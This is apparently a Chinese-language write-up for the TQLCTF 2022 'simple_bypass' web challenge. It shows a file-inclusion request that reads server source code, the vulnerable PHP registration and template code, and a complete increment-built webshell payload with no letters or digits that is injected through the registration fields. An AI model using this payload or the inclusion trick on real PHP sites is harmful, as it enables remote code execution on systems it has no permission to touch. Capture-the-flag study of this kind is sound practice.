[TQLCTF 2022]simple_bypass

文章目录

• • 涉及知识点
  • 解题过程

---

涉及知识点

1. 无数字字母RCE
2. 自增马构造
3. 文件包含读取源码

解题过程

打开题目，随便注册一个用户为admin

登陆进去后，一眼发现杰哥图片有线索
我们F12看一下如何请求的

在这里发现可能存在文件包含漏洞

我们尝试读取下源码

./get_pic.php?image=index.php

然后base64解码一下，直接看核心部分

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
	$hash_user = md5($_POST['user']);
	$hash_pass = 'zsf'.md5($_POST['pass']);
	if(isset($_POST['punctuation'])){
		//filter
		if (strlen($_POST['user']) > 6){
			echo("<script>alert('Username is too long!');</script>");
		}
		elseif(strlen($_POST['website']) > 25){
			echo("<script>alert('Website is too long!');</script>");
		}
		elseif(strlen($_POST['punctuation']) > 1000){
			echo("<script>alert('Punctuation is too long!');</script>");
		}
		else{
			if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
				if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
					$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
					$template = file_get_contents('./template.html');
					$content = str_replace("__USER__", $_POST['user'], $template);
					$content = str_replace("__PASS__", $hash_pass, $content);
					$content = str_replace("__WEBSITE__", $_POST['website'], $content);
					$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
					file_put_contents('sandbox/'.$hash_user.'.php', $content);
					echo("<script>alert('Successed!');</script>");
				}
				else{
					echo("<script>alert('Invalid chars in website!');</script>");
				}
			}
			else{
				echo("<script>alert('Invalid chars in username!');</script>");
			}
		}
	}
	else{
		setcookie("user", $_POST['user'], time()+3600);
		setcookie("pass", $hash_pass, time()+3600);
		Header("Location:sandbox/$hash_user.php");
	}
}
?>

在这里可以看到user，website都做了严格的过滤并且限制输入长度

但是观察到strlen($_POST['punctuation']) > 1000，猜测这是利用的突破口

观察到是无字母数字RCE，那么大概思路就是自增构造

我们再读取一下源码中的./template.html

解码完发现很长，这里只展示有用的部分

<div id="start_block"> <a title="开始" id="start_btn"></a>
    <div id="start_item">
      <ul class="item admin">
        <li><span class="adminImg"></span>
		<?php
			error_reporting(0);
			$user = ((string)__USER__);
			$pass = ((string)__PASS__);
			
			if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
				echo($_COOKIE['user']);`
			}
			else{
				die("<script>alert('Permission denied!');</script>");
			}
		?>
		</li>
      </ul>
      <ul class="item">
        <li><span class="sitting_btn"></span>系统设置</li>
        <li><span class="help_btn"></span>使用指南 <b></b></li>
        <li><span class="about_btn"></span>关于我们</li>
        <li><span class="logout_btn"></span>退出系统</li>
      </ul>
    </div>
  </div>
</div>
<a href="#" class="powered_by">__PUNC__</a>

分析一下，(string)__USER__会将__USER__强转成string类型。

然后利用点已经知道是无数字字母RCE，<?php被禁了，那么只能利用代码前面自带的<?php去shell

我们选择可以利用注释符注释，然后用);闭合回去，__PUNC__写exp再把下面的注释掉。

具体执行如下

__PUNC__的exp

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

所以我们注册

//注册页面
user:a/*
passwd:a
website:a
punctuation:*/);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/*
 
//这个自增代表的是eval(@_POST[_]);

注册成功后，命令执行一下
回显在页面源代码最下面找到（报错无关紧要）

得到flag